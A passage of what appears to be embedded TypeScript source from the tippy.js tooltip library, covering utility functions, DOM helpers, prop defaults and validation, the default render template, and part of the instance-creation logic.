defaultValue\n : v;\n }\n\n return value;\n}\n\nexport function isType(value: any, type: string): boolean {\n const str = {}.toString.call(value);\n return str.indexOf('[object') === 0 && str.indexOf(`${type}]`) > -1;\n}\n\nexport function invokeWithArgsOrReturn(value: any, args: any[]): any {\n return typeof value === 'function' ? value(...args) : value;\n}\n\nexport function debounce<T>(\n fn: (arg: T) => void,\n ms: number\n): (arg: T) => void {\n // Avoid wrapping in `setTimeout` if ms is 0 anyway\n if (ms === 0) {\n return fn;\n }\n\n let timeout: any;\n\n return (arg): void => {\n clearTimeout(timeout);\n timeout = setTimeout(() => {\n fn(arg);\n }, ms);\n };\n}\n\nexport function removeProperties<T>(obj: T, keys: string[]): Partial<T> {\n const clone = {...obj};\n keys.forEach((key) => {\n delete (clone as any)[key];\n });\n return clone;\n}\n\nexport function splitBySpaces(value: string): string[] {\n return value.split(/\\s+/).filter(Boolean);\n}\n\nexport function normalizeToArray<T>(value: T | T[]): T[] {\n return ([] as T[]).concat(value);\n}\n\nexport function pushIfUnique<T>(arr: T[], value: T): void {\n if (arr.indexOf(value) === -1) {\n arr.push(value);\n }\n}\n\nexport function appendPxIfNumber(value: string | number): string {\n return typeof value === 'number' ? `${value}px` : value;\n}\n\nexport function unique<T>(arr: T[]): T[] {\n return arr.filter((item, index) => arr.indexOf(item) === index);\n}\n\nexport function getNumber(value: string | number): number {\n return typeof value === 'number' ? value : parseFloat(value);\n}\n\nexport function getBasePlacement(placement: Placement): BasePlacement {\n return placement.split('-')[0] as BasePlacement;\n}\n\nexport function arrayFrom(value: ArrayLike<any>): any[] {\n return [].slice.call(value);\n}\n\nexport function removeUndefinedProps(\n obj: Record<string, unknown>\n): Partial<Record<string, unknown>> {\n return Object.keys(obj).reduce((acc, key) => {\n if (obj[key] !== undefined) {\n (acc as any)[key] = obj[key];\n }\n\n return acc;\n }, {});\n}\n","import {ReferenceElement, Targets} from './types';\nimport {PopperTreeData} from './types-internal';\nimport {arrayFrom, isType, normalizeToArray, getBasePlacement} from './utils';\n\nexport function div(): HTMLDivElement {\n return document.createElement('div');\n}\n\nexport function isElement(value: unknown): value is Element | DocumentFragment {\n return ['Element', 'Fragment'].some((type) => isType(value, type));\n}\n\nexport function isNodeList(value: unknown): value is NodeList {\n return isType(value, 'NodeList');\n}\n\nexport function isMouseEvent(value: unknown): value is MouseEvent {\n return isType(value, 'MouseEvent');\n}\n\nexport function isReferenceElement(value: any): value is ReferenceElement {\n return !!(value && value._tippy && value._tippy.reference === value);\n}\n\nexport function getArrayOfElements(value: Targets): Element[] {\n if (isElement(value)) {\n return [value];\n }\n\n if (isNodeList(value)) {\n return arrayFrom(value);\n }\n\n if (Array.isArray(value)) {\n return value;\n }\n\n return arrayFrom(document.querySelectorAll(value));\n}\n\nexport function setTransitionDuration(\n els: (HTMLDivElement | null)[],\n value: number\n): void {\n els.forEach((el) => {\n if (el) {\n el.style.transitionDuration = `${value}ms`;\n }\n });\n}\n\nexport function setVisibilityState(\n els: (HTMLDivElement | null)[],\n state: 'visible' | 'hidden'\n): void {\n els.forEach((el) => {\n if (el) {\n el.setAttribute('data-state', state);\n }\n });\n}\n\nexport function getOwnerDocument(\n elementOrElements: Element | Element[]\n): Document {\n const [element] = normalizeToArray(elementOrElements);\n\n // Elements created via a <template> have an ownerDocument with no reference to the body\n return element?.ownerDocument?.body ? element.ownerDocument : document;\n}\n\nexport function isCursorOutsideInteractiveBorder(\n popperTreeData: PopperTreeData[],\n event: MouseEvent\n): boolean {\n const {clientX, clientY} = event;\n\n return popperTreeData.every(({popperRect, popperState, props}) => {\n const {interactiveBorder} = props;\n const basePlacement = getBasePlacement(popperState.placement);\n const offsetData = popperState.modifiersData.offset;\n\n if (!offsetData) {\n return true;\n }\n\n const topDistance = basePlacement === 'bottom' ? offsetData.top!.y : 0;\n const bottomDistance = basePlacement === 'top' ? offsetData.bottom!.y : 0;\n const leftDistance = basePlacement === 'right' ? offsetData.left!.x : 0;\n const rightDistance = basePlacement === 'left' ? offsetData.right!.x : 0;\n\n const exceedsTop =\n popperRect.top - clientY + topDistance > interactiveBorder;\n const exceedsBottom =\n clientY - popperRect.bottom - bottomDistance > interactiveBorder;\n const exceedsLeft =\n popperRect.left - clientX + leftDistance > interactiveBorder;\n const exceedsRight =\n clientX - popperRect.right - rightDistance > interactiveBorder;\n\n return exceedsTop || exceedsBottom || exceedsLeft || exceedsRight;\n });\n}\n\nexport function updateTransitionEndListener(\n box: HTMLDivElement,\n action: 'add' | 'remove',\n listener: (event: TransitionEvent) => void\n): void {\n const method = `${action}EventListener` as\n | 'addEventListener'\n | 'removeEventListener';\n\n // some browsers apparently support `transition` (unprefixed) but only fire\n // `webkitTransitionEnd`...\n ['transitionend', 'webkitTransitionEnd'].forEach((event) => {\n box[method](event, listener as EventListener);\n });\n}\n\n/**\n * Compared to xxx.contains, this function works for dom structures with shadow\n * dom\n */\nexport function actualContains(parent: Element, child: Element): boolean {\n let target = child;\n while (target) {\n if (parent.contains(target)) {\n return true;\n }\n target = (target.getRootNode?.() as any)?.host;\n }\n return false;\n}\n","import {TOUCH_OPTIONS} from './constants';\nimport {isReferenceElement} from './dom-utils';\n\nexport const currentInput = {isTouch: false};\nlet lastMouseMoveTime = 0;\n\n/**\n * When a `touchstart` event is fired, it's assumed the user is using touch\n * input. We'll bind a `mousemove` event listener to listen for mouse input in\n * the future. This way, the `isTouch` property is fully dynamic and will handle\n * hybrid devices that use a mix of touch + mouse input.\n */\nexport function onDocumentTouchStart(): void {\n if (currentInput.isTouch) {\n return;\n }\n\n currentInput.isTouch = true;\n\n if (window.performance) {\n document.addEventListener('mousemove', onDocumentMouseMove);\n }\n}\n\n/**\n * When two `mousemove` event are fired consecutively within 20ms, it's assumed\n * the user is using mouse input again. `mousemove` can fire on touch devices as\n * well, but very rarely that quickly.\n */\nexport function onDocumentMouseMove(): void {\n const now = performance.now();\n\n if (now - lastMouseMoveTime < 20) {\n currentInput.isTouch = false;\n\n document.removeEventListener('mousemove', onDocumentMouseMove);\n }\n\n lastMouseMoveTime = now;\n}\n\n/**\n * When an element is in focus and has a tippy, leaving the tab/window and\n * returning causes it to show again. For mouse users this is unexpected, but\n * for keyboard use it makes sense.\n * TODO: find a better technique to solve this problem\n */\nexport function onWindowBlur(): void {\n const activeElement = document.activeElement as HTMLElement | null;\n\n if (isReferenceElement(activeElement)) {\n const instance = activeElement._tippy!;\n\n if (activeElement.blur && !instance.state.isVisible) {\n activeElement.blur();\n }\n }\n}\n\nexport default function bindGlobalEventListeners(): void {\n document.addEventListener('touchstart', onDocumentTouchStart, TOUCH_OPTIONS);\n window.addEventListener('blur', onWindowBlur);\n}\n","export const isBrowser =\n typeof window !== 'undefined' && typeof document !== 'undefined';\n\nexport const isIE11 = isBrowser\n ? // @ts-ignore\n !!window.msCrypto\n : false;\n","import {DefaultProps, Plugin, Props, ReferenceElement, Tippy} from './types';\nimport {\n hasOwnProperty,\n removeProperties,\n invokeWithArgsOrReturn,\n} from './utils';\nimport {warnWhen} from './validation';\nimport {TIPPY_DEFAULT_APPEND_TO} from './constants';\n\nconst pluginProps = {\n animateFill: false,\n followCursor: false,\n inlinePositioning: false,\n sticky: false,\n};\n\nconst renderProps = {\n allowHTML: false,\n animation: 'fade',\n arrow: true,\n content: '',\n inertia: false,\n maxWidth: 350,\n role: 'tooltip',\n theme: '',\n zIndex: 9999,\n};\n\nexport const defaultProps: DefaultProps = {\n appendTo: TIPPY_DEFAULT_APPEND_TO,\n aria: {\n content: 'auto',\n expanded: 'auto',\n },\n delay: 0,\n duration: [300, 250],\n getReferenceClientRect: null,\n hideOnClick: true,\n ignoreAttributes: false,\n interactive: false,\n interactiveBorder: 2,\n interactiveDebounce: 0,\n moveTransition: '',\n offset: [0, 10],\n onAfterUpdate() {},\n onBeforeUpdate() {},\n onCreate() {},\n onDestroy() {},\n onHidden() {},\n onHide() {},\n onMount() {},\n onShow() {},\n onShown() {},\n onTrigger() {},\n onUntrigger() {},\n onClickOutside() {},\n placement: 'top',\n plugins: [],\n popperOptions: {},\n render: null,\n showOnCreate: false,\n touch: true,\n trigger: 'mouseenter focus',\n triggerTarget: null,\n ...pluginProps,\n ...renderProps,\n};\n\nconst defaultKeys = Object.keys(defaultProps);\n\nexport const setDefaultProps: Tippy['setDefaultProps'] = (partialProps) => {\n /* istanbul ignore else */\n if (__DEV__) {\n validateProps(partialProps, []);\n }\n\n const keys = Object.keys(partialProps) as Array<keyof DefaultProps>;\n keys.forEach((key) => {\n (defaultProps as any)[key] = partialProps[key];\n });\n};\n\nexport function getExtendedPassedProps(\n passedProps: Partial<Props> & Record<string, unknown>\n): Partial<Props> {\n const plugins = passedProps.plugins || [];\n const pluginProps = plugins.reduce<Record<string, unknown>>((acc, plugin) => {\n const {name, defaultValue} = plugin;\n\n if (name) {\n acc[name] =\n passedProps[name] !== undefined\n ? passedProps[name]\n : (defaultProps as any)[name] ?? defaultValue;\n }\n\n return acc;\n }, {});\n\n return {\n ...passedProps,\n ...pluginProps,\n };\n}\n\nexport function getDataAttributeProps(\n reference: ReferenceElement,\n plugins: Plugin[]\n): Record<string, unknown> {\n const propKeys = plugins\n ? Object.keys(getExtendedPassedProps({...defaultProps, plugins}))\n : defaultKeys;\n\n const props = propKeys.reduce(\n (acc: Partial<Props> & Record<string, unknown>, key) => {\n const valueAsString = (\n reference.getAttribute(`data-tippy-${key}`) || ''\n ).trim();\n\n if (!valueAsString) {\n return acc;\n }\n\n if (key === 'content') {\n acc[key] = valueAsString;\n } else {\n try {\n acc[key] = JSON.parse(valueAsString);\n } catch (e) {\n acc[key] = valueAsString;\n }\n }\n\n return acc;\n },\n {}\n );\n\n return props;\n}\n\nexport function evaluateProps(\n reference: ReferenceElement,\n props: Props\n): Props {\n const out = {\n ...props,\n content: invokeWithArgsOrReturn(props.content, [reference]),\n ...(props.ignoreAttributes\n ? {}\n : getDataAttributeProps(reference, props.plugins)),\n };\n\n out.aria = {\n ...defaultProps.aria,\n ...out.aria,\n };\n\n out.aria = {\n expanded:\n out.aria.expanded === 'auto' ? props.interactive : out.aria.expanded,\n content:\n out.aria.content === 'auto'\n ? props.interactive\n ? null\n : 'describedby'\n : out.aria.content,\n };\n\n return out;\n}\n\nexport function validateProps(\n partialProps: Partial<Props> = {},\n plugins: Plugin[] = []\n): void {\n const keys = Object.keys(partialProps) as Array<keyof Props>;\n keys.forEach((prop) => {\n const nonPluginProps = removeProperties(\n defaultProps,\n Object.keys(pluginProps)\n );\n\n let didPassUnknownProp = !hasOwnProperty(nonPluginProps, prop);\n\n // Check if the prop exists in `plugins`\n if (didPassUnknownProp) {\n didPassUnknownProp =\n plugins.filter((plugin) => plugin.name === prop).length === 0;\n }\n\n warnWhen(\n didPassUnknownProp,\n [\n `\\`${prop}\\``,\n \"is not a valid prop. You may have spelled it incorrectly, or if it's\",\n 'a plugin, forgot to pass it in an array as props.plugins.',\n '\\n\\n',\n 'All props: https://atomiks.github.io/tippyjs/v6/all-props/\\n',\n 'Plugins: https://atomiks.github.io/tippyjs/v6/plugins/',\n ].join(' ')\n );\n });\n}\n","import {\n ARROW_CLASS,\n BACKDROP_CLASS,\n BOX_CLASS,\n CONTENT_CLASS,\n SVG_ARROW_CLASS,\n} from './constants';\nimport {div, isElement} from './dom-utils';\nimport {Instance, PopperElement, Props} from './types';\nimport {PopperChildren} from './types-internal';\nimport {arrayFrom} from './utils';\n\n// Firefox extensions don't allow .innerHTML = \"...\" property. This tricks it.\nconst innerHTML = (): 'innerHTML' => 'innerHTML';\n\nfunction dangerouslySetInnerHTML(element: Element, html: string): void {\n element[innerHTML()] = html;\n}\n\nfunction createArrowElement(value: Props['arrow']): HTMLDivElement {\n const arrow = div();\n\n if (value === true) {\n arrow.className = ARROW_CLASS;\n } else {\n arrow.className = SVG_ARROW_CLASS;\n\n if (isElement(value)) {\n arrow.appendChild(value);\n } else {\n dangerouslySetInnerHTML(arrow, value as string);\n }\n }\n\n return arrow;\n}\n\nexport function setContent(content: HTMLDivElement, props: Props): void {\n if (isElement(props.content)) {\n dangerouslySetInnerHTML(content, '');\n content.appendChild(props.content);\n } else if (typeof props.content !== 'function') {\n if (props.allowHTML) {\n dangerouslySetInnerHTML(content, props.content);\n } else {\n content.textContent = props.content;\n }\n }\n}\n\nexport function getChildren(popper: PopperElement): PopperChildren {\n const box = popper.firstElementChild as HTMLDivElement;\n const boxChildren = arrayFrom(box.children);\n\n return {\n box,\n content: boxChildren.find((node) => node.classList.contains(CONTENT_CLASS)),\n arrow: boxChildren.find(\n (node) =>\n node.classList.contains(ARROW_CLASS) ||\n node.classList.contains(SVG_ARROW_CLASS)\n ),\n backdrop: boxChildren.find((node) =>\n node.classList.contains(BACKDROP_CLASS)\n ),\n };\n}\n\nexport function render(\n instance: Instance\n): {\n popper: PopperElement;\n onUpdate?: (prevProps: Props, nextProps: Props) => void;\n} {\n const popper = div();\n\n const box = div();\n box.className = BOX_CLASS;\n box.setAttribute('data-state', 'hidden');\n box.setAttribute('tabindex', '-1');\n\n const content = div();\n content.className = CONTENT_CLASS;\n content.setAttribute('data-state', 'hidden');\n\n setContent(content, instance.props);\n\n popper.appendChild(box);\n box.appendChild(content);\n\n onUpdate(instance.props, instance.props);\n\n function onUpdate(prevProps: Props, nextProps: Props): void {\n const {box, content, arrow} = getChildren(popper);\n\n if (nextProps.theme) {\n box.setAttribute('data-theme', nextProps.theme);\n } else {\n box.removeAttribute('data-theme');\n }\n\n if (typeof nextProps.animation === 'string') {\n box.setAttribute('data-animation', nextProps.animation);\n } else {\n box.removeAttribute('data-animation');\n }\n\n if (nextProps.inertia) {\n box.setAttribute('data-inertia', '');\n } else {\n box.removeAttribute('data-inertia');\n }\n\n box.style.maxWidth =\n typeof nextProps.maxWidth === 'number'\n ? `${nextProps.maxWidth}px`\n : nextProps.maxWidth;\n\n if (nextProps.role) {\n box.setAttribute('role', nextProps.role);\n } else {\n box.removeAttribute('role');\n }\n\n if (\n prevProps.content !== nextProps.content ||\n prevProps.allowHTML !== nextProps.allowHTML\n ) {\n setContent(content, instance.props);\n }\n\n if (nextProps.arrow) {\n if (!arrow) {\n box.appendChild(createArrowElement(nextProps.arrow));\n } else if (prevProps.arrow !== nextProps.arrow) {\n box.removeChild(arrow);\n box.appendChild(createArrowElement(nextProps.arrow));\n }\n } else if (arrow) {\n box.removeChild(arrow!);\n }\n }\n\n return {\n popper,\n onUpdate,\n };\n}\n\n// Runtime check to identify if the render function is the default one; this\n// way we can apply default CSS transitions logic and it can be tree-shaken away\nrender.$$tippy = true;\n","import {createPopper, StrictModifiers, Modifier} from '@popperjs/core';\nimport {currentInput} from './bindGlobalEventListeners';\nimport {isIE11} from './browser';\nimport {TIPPY_DEFAULT_APPEND_TO, TOUCH_OPTIONS} from './constants';\nimport {\n actualContains,\n div,\n getOwnerDocument,\n isCursorOutsideInteractiveBorder,\n isMouseEvent,\n setTransitionDuration,\n setVisibilityState,\n updateTransitionEndListener,\n} from './dom-utils';\nimport {defaultProps, evaluateProps, getExtendedPassedProps} from './props';\nimport {getChildren} from './template';\nimport {\n Content,\n Instance,\n LifecycleHooks,\n PopperElement,\n Props,\n ReferenceElement,\n} from './types';\nimport {ListenerObject, PopperTreeData, PopperChildren} from './types-internal';\nimport {\n arrayFrom,\n debounce,\n getValueAtIndexOrReturn,\n invokeWithArgsOrReturn,\n normalizeToArray,\n pushIfUnique,\n splitBySpaces,\n unique,\n removeUndefinedProps,\n} from './utils';\nimport {createMemoryLeakWarning, errorWhen, warnWhen} from './validation';\n\nlet idCounter = 1;\nlet mouseMoveListeners: ((event: MouseEvent) => void)[] = [];\n\n// Used by `hideAll()`\nexport let mountedInstances: Instance[] = [];\n\nexport default function createTippy(\n reference: ReferenceElement,\n passedProps: Partial<Props>\n): Instance {\n const props = evaluateProps(reference, {\n ...defaultProps,\n ...getExtendedPassedProps(removeUndefinedProps(passedProps)),\n });\n\n // ===========================================================================\n // 🔒 Private members\n // ===========================================================================\n let showTimeout: any;\n let hideTimeout: any;\n let scheduleHideAnimationFrame: number;\n let isVisibleFromClick = false;\n let didHideDueToDocumentMouseDown = false;\n let didTouchMove = false;\n let ignoreOnFirstUpdate = false;\n let lastTriggerEvent: Event | undefined;\n let currentTransitionEndListener: (event: TransitionEvent) => void;\n let onFirstUpdate: () => void;\n let listeners: ListenerObject[] = [];\n let debouncedOnMouseMove = debounce(onMouseMove, props.interactiveDebounce);\n let currentTarget: Element;\n\n // ===========================================================================\n // 🔑 Public members\n // ===========================================================================\n const id = idCounter++;\n const popperInstance = null;\n const plugins = unique(props.plugins);\n\n const state = {\n // Is the instance currently enabled?\n isEnabled: true,\n // Is the tippy currently showing and not transitioning out?\n isVisible: false,\n // Has the instance been destroyed?\n isDestroyed: false,\n // Is the tippy currently mounted to the DOM?\n isMounted: false,\n // Has the tippy finished transitioning in?\n isShown: false,\n };\n\n const instance: Instance = {\n // properties\n id,\n reference,\n popper: div(),\n popperInstance,\n props,\n state,\n plugins,\n // methods\n clearDelayTimeouts,\n setProps,\n setContent,\n show,\n hide,\n hideWithInteractivity,\n enable,\n disable,\n unmount,\n destroy,\n };\n\n // TODO: Investigate why this early return causes a TDZ error in the tests —\n // it doesn't seem to happen in the browser\n /* istanbul ignore if */\n if (!props.render) {\n if (__DEV__) {\n errorWhen(true, 'render() function has not been supplied.');\n }\n\n return instance;\n }\n\n // ===========================================================================\n // Initial mutations\n // ===========================================================================\n const {popper, onUpdate} = props.render(instance);\n\n popper.setAttribute('data-__NAMESPACE_PREFIX__-root', '');\n popper.id = `__NAMESPACE_PREFIX__-${instance.id}`;\n\n instance.popper = popper;\n reference._tippy = instance;\n popper._tippy = instance;\n\n const pluginsHooks = plugins.map((plugin) => plugin.fn(instance));\n const hasAriaExpanded = reference.hasAttribute('aria-expanded');\n\n addListeners();\n handleAriaExpandedAttribute();\n handleStyles();\n\n invokeHook('onCreate', [instance]);\n\n if (props.showOnCreate) {\n scheduleShow();\n }\n\n // Prevent a tippy with a delay from hiding if the cursor left then returned\n // before it started hiding\n popper.addEventListener('mouseenter', () => {\n if (instance.props.interactive && instance.state.isVisible) {\n instance.clearDelayTimeouts();\n }\n });\n\n popper.addEventListener('mouseleave', () => {\n if (\n instance.props.interactive &&\n instance.props.trigger.indexOf('mouseenter') >= 0\n ) {\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n }\n });\n\n return instance;\n\n // ===========================================================================\n // 🔒 Private methods\n // ===========================================================================\n function getNormalizedTouchSettings(): [string | boolean, number] {\n const {touch} = instance.props;\n return Array.isArray(touch) ? touch : [touch, 0];\n }\n\n function getIsCustomTouchBehavior(): boolean {\n return getNormalizedTouchSettings()[0] === 'hold';\n }\n\n function getIsDefaultRenderFn(): boolean {\n // @ts-ignore\n return !!instance.props.render?.$$tippy;\n }\n\n function getCurrentTarget(): Element {\n return currentTarget || reference;\n }\n\n function getDocument(): Document {\n const parent = getCurrentTarget().parentNode as Element;\n return parent ? getOwnerDocument(parent) : document;\n }\n\n function getDefaultTemplateChildren(): PopperChildren {\n return getChildren(popper);\n }\n\n function getDelay(isShow: boolean): number {\n // For touch or keyboard input, force `0` delay for UX reasons\n // Also if the instance is mounted but not visible (transitioning out),\n // ignore delay\n if (\n (instance.state.isMounted && !instance.state.isVisible) ||\n currentInput.isTouch ||\n (lastTriggerEvent && lastTriggerEvent.type === 'focus')\n ) {\n return 0;\n }\n\n return getValueAtIndexOrReturn(\n instance.props.delay,\n isShow ? 0 : 1,\n defaultProps.delay\n );\n }\n\n function handleStyles(fromHide = false): void {\n popper.style.pointerEvents =\n instance.props.interactive && !fromHide ? '' : 'none';\n popper.style.zIndex = `${instance.props.zIndex}`;\n }\n\n function invokeHook(\n hook: keyof LifecycleHooks,\n args: [Instance, any?],\n shouldInvokePropsHook = true\n ): void {\n pluginsHooks.forEach((pluginHooks) => {\n if (pluginHooks[hook]) {\n pluginHooks[hook]!(...args);\n }\n });\n\n if (shouldInvokePropsHook) {\n instance.props[hook](...args);\n }\n }\n\n function handleAriaContentAttribute(): void {\n const {aria} = instance.props;\n\n if (!aria.content) {\n return;\n }\n\n const attr = `aria-${aria.content}`;\n const id = popper.id;\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n const currentValue = node.getAttribute(attr);\n\n if (instance.state.isVisible) {\n node.setAttribute(attr, currentValue ? `${currentValue} ${id}` : id);\n } else {\n const nextValue = currentValue && currentValue.replace(id, '').trim();\n\n if (nextValue) {\n node.setAttribute(attr, nextValue);\n } else {\n node.removeAttribute(attr);\n }\n }\n });\n }\n\n function handleAriaExpandedAttribute(): void {\n if (hasAriaExpanded || !instance.props.aria.expanded) {\n return;\n }\n\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n if (instance.props.interactive) {\n node.setAttribute(\n 'aria-expanded',\n instance.state.isVisible && node === getCurrentTarget()\n ? 'true'\n : 'false'\n );\n } else {\n node.removeAttribute('aria-expanded');\n }\n });\n }\n\n function cleanupInteractiveMouseListeners(): void {\n getDocument().removeEventListener('mousemove', debouncedOnMouseMove);\n mouseMoveListeners = mouseMoveListeners.filter(\n (listener) => listener !== debouncedOnMouseMove\n );\n }\n\n function onDocumentPress(event: MouseEvent | TouchEvent): void {\n // Moved finger to scroll instead of an intentional tap outside\n if (currentInput.isTouch) {\n if (didTouchMove || event.type === 'mousedown') {\n return;\n }\n }\n\n const actualTarget =\n (event.composedPath && event.composedPath()[0]) || event.target;\n\n // Clicked on interactive popper\n if (\n instance.props.interactive &&\n actualContains(popper, actualTarget as Element)\n ) {\n return;\n }\n\n // Clicked on the event listeners target\n if (\n normalizeToArray(instance.props.triggerTarget || reference).some((el) =>\n actualContains(el, actualTarget as Element)\n )\n ) {\n if (currentInput.isTouch) {\n return;\n }\n\n if (\n instance.state.isVisible &&\n instance.props.trigger.indexOf('click') >= 0\n ) {\n return;\n }\n } else {\n invokeHook('onClickOutside', [instance, event]);\n }\n\n if (instance.props.hideOnClick === true) {\n instance.clearDelayTimeouts();\n instance.hide();\n\n // `mousedown` event is fired right before `focus` if pressing the\n // currentTarget. This lets a tippy with `focus` trigger know that it\n // should not show\n didHideDueToDocumentMouseDown = true;\n setTimeout(() => {\n didHideDueToDocumentMouseDown = false;\n });\n\n // The listener gets added in `scheduleShow()`, but this may be hiding it\n // before it shows, and hide()'s early bail-out behavior can prevent it\n // from being cleaned up\n if (!instance.state.isMounted) {\n removeDocumentPress();\n }\n }\n }\n\n function onTouchMove(): void {\n didTouchMove = true;\n }\n\n function onTouchStart(): void {\n didTouchMove = false;\n }\n\n function addDocumentPress(): void {\n const doc = getDocument();\n doc.addEventListener('mousedown', onDocumentPress, true);\n doc.addEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.addEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.addEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function removeDocumentPress(): void {\n const doc = getDocument();\n doc.removeEventListener('mousedown', onDocumentPress, true);\n doc.removeEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.removeEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.removeEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function onTransitionedOut(duration: number, callback: () => void): void {\n onTransitionEnd(duration, () => {\n if (\n !instance.state.isVisible &&\n popper.parentNode &&\n popper.parentNode.contains(popper)\n ) {\n callback();\n }\n });\n }\n\n function onTransitionedIn(duration: number, callback: () => void): void {\n onTransitionEnd(duration, callback);\n }\n\n function onTransitionEnd(duration: number, callback: () => void): void {\n const box = getDefaultTemplateChildren().box;\n\n function listener(event: TransitionEvent): void {\n if (event.target === box) {\n updateTransitionEndListener(box, 'remove', listener);\n callback();\n }\n }\n\n // Make callback synchronous if duration is 0\n // `transitionend` won't fire otherwise\n if (duration === 0) {\n return callback();\n }\n\n updateTransitionEndListener(box, 'remove', currentTransitionEndListener);\n updateTransitionEndListener(box, 'add', listener);\n\n currentTransitionEndListener = listener;\n }\n\n function on(\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n nodes.forEach((node) => {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n });\n }\n\n function addListeners(): void {\n if (getIsCustomTouchBehavior()) {\n on('touchstart', onTrigger, {passive: true});\n on('touchend', onMouseLeave as EventListener, {passive: true});\n }\n\n splitBySpaces(instance.props.trigger).forEach((eventType) => {\n if (eventType === 'manual') {\n return;\n }\n\n on(eventType, onTrigger);\n\n switch (eventType) {\n case 'mouseenter':\n on('mouseleave', onMouseLeave as EventListener);\n break;\n case 'focus':\n on(isIE11 ? 'focusout' : 'blur', onBlurOrFocusOut as EventListener);\n break;\n case 'focusin':\n on('focusout', onBlurOrFocusOut as EventListener);\n break;\n }\n });\n }\n\n function removeListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function onTrigger(event: Event): void {\n let shouldScheduleClickHide = false;\n\n if (\n !instance.state.isEnabled ||\n isEventListenerStopped(event) ||\n didHideDueToDocumentMouseDown\n ) {\n return;\n }\n\n const wasFocused = lastTriggerEvent?.type === 'focus';\n\n lastTriggerEvent = event;\n currentTarget = event.currentTarget as Element;\n\n handleAriaExpandedAttribute();\n\n if (!instance.state.isVisible && isMouseEvent(event)) {\n // If scrolling, `mouseenter` events can be fired if the cursor lands\n // over a new target, but `mousemove` events don't get fired. This\n // causes interactive tooltips to get stuck open until the cursor is\n // moved\n mouseMoveListeners.forEach((listener) => listener(event));\n }\n\n // Toggle show/hide when clicking click-triggered tooltips\n if (\n event.type === 'click' &&\n (instance.props.trigger.indexOf('mouseenter') < 0 ||\n isVisibleFromClick) &&\n instance.props.hideOnClick !== false &&\n instance.state.isVisible\n ) {\n shouldScheduleClickHide = true;\n } else {\n scheduleShow(event);\n }\n\n if (event.type === 'click') {\n isVisibleFromClick = !shouldScheduleClickHide;\n }\n\n if (shouldScheduleClickHide && !wasFocused) {\n scheduleHide(event);\n }\n }\n\n function onMouseMove(event: MouseEvent): void {\n const target = event.target as Node;\n const isCursorOverReferenceOrPopper =\n getCurrentTarget().contains(target) || popper.contains(target);\n\n if (event.type === 'mousemove' && isCursorOverReferenceOrPopper) {\n return;\n }\n\n const popperTreeData = getNestedPopperTree()\n .concat(popper)\n .map((popper) => {\n const instance = popper._tippy!;\n const state = instance.popperInstance?.state;\n\n if (state) {\n return {\n popperRect: popper.getBoundingClientRect(),\n popperState: state,\n props,\n };\n }\n\n return null;\n })\n .filter(Boolean) as PopperTreeData[];\n\n if (isCursorOutsideInteractiveBorder(popperTreeData, event)) {\n cleanupInteractiveMouseListeners();\n scheduleHide(event);\n }\n }\n\n function onMouseLeave(event: MouseEvent): void {\n const shouldBail =\n isEventListenerStopped(event) ||\n (instance.props.trigger.indexOf('click') >= 0 && isVisibleFromClick);\n\n if (shouldBail) {\n return;\n }\n\n if (instance.props.interactive) {\n instance.hideWithInteractivity(event);\n return;\n }\n\n scheduleHide(event);\n }\n\n function onBlurOrFocusOut(event: FocusEvent): void {\n if (\n instance.props.trigger.indexOf('focusin') < 0 &&\n event.target !== getCurrentTarget()\n ) {\n return;\n }\n\n // If focus was moved to within the popper\n if (\n instance.props.interactive &&\n event.relatedTarget &&\n popper.contains(event.relatedTarget as Element)\n ) {\n return;\n }\n\n scheduleHide(event);\n }\n\n function isEventListenerStopped(event: Event): boolean {\n return currentInput.isTouch\n ? getIsCustomTouchBehavior() !== event.type.indexOf('touch') >= 0\n : false;\n }\n\n function createPopperInstance(): void {\n destroyPopperInstance();\n\n const {\n popperOptions,\n placement,\n offset,\n getReferenceClientRect,\n moveTransition,\n } = instance.props;\n\n const arrow = getIsDefaultRenderFn() ? getChildren(popper).arrow : null;\n\n const computedReference = getReferenceClientRect\n ? {\n getBoundingClientRect: getReferenceClientRect,\n contextElement:\n getReferenceClientRect.contextElement || getCurrentTarget(),\n }\n : reference;\n\n const tippyModifier: Modifier<'$$tippy', Record<string, unknown>> = {\n name: '$$tippy',\n enabled: true,\n phase: 'beforeWrite',\n requires: ['computeStyles'],\n fn({state}) {\n if (getIsDefaultRenderFn()) {\n const {box} = getDefaultTemplateChildren();\n\n ['placement', 'reference-hidden', 'escaped'].forEach((attr) => {\n if (attr === 'placement') {\n box.setAttribute('data-placement', state.placement);\n } else {\n if (state.attributes.popper[`data-popper-${attr}`]) {\n box.setAttribute(`data-${attr}`, '');\n } else {\n box.removeAttribute(`data-${attr}`);\n }\n }\n });\n\n state.attributes.popper = {};\n }\n },\n };\n\n type TippyModifier = Modifier<'$$tippy', Record<string, unknown>>;\n type ExtendedModifiers = StrictModifiers | Partial<TippyModifier>;\n\n const modifiers: Array<ExtendedModifiers> = [\n {\n name: 'offset',\n options: {\n offset,\n },\n },\n {\n name: 'preventOverflow',\n options: {\n padding: {\n top: 2,\n bottom: 2,\n left: 5,\n right: 5,\n },\n },\n },\n {\n name: 'flip',\n options: {\n padding: 5,\n },\n },\n {\n name: 'computeStyles',\n options: {\n adaptive: !moveTransition,\n },\n },\n tippyModifier,\n ];\n\n if (getIsDefaultRenderFn() && arrow) {\n modifiers.push({\n name: 'arrow',\n options: {\n element: arrow,\n padding: 3,\n },\n });\n }\n\n modifiers.push(...(popperOptions?.modifiers || []));\n\n instance.popperInstance = createPopper<ExtendedModifiers>(\n computedReference,\n popper,\n {\n ...popperOptions,\n placement,\n onFirstUpdate,\n modifiers,\n }\n );\n }\n\n function destroyPopperInstance(): void 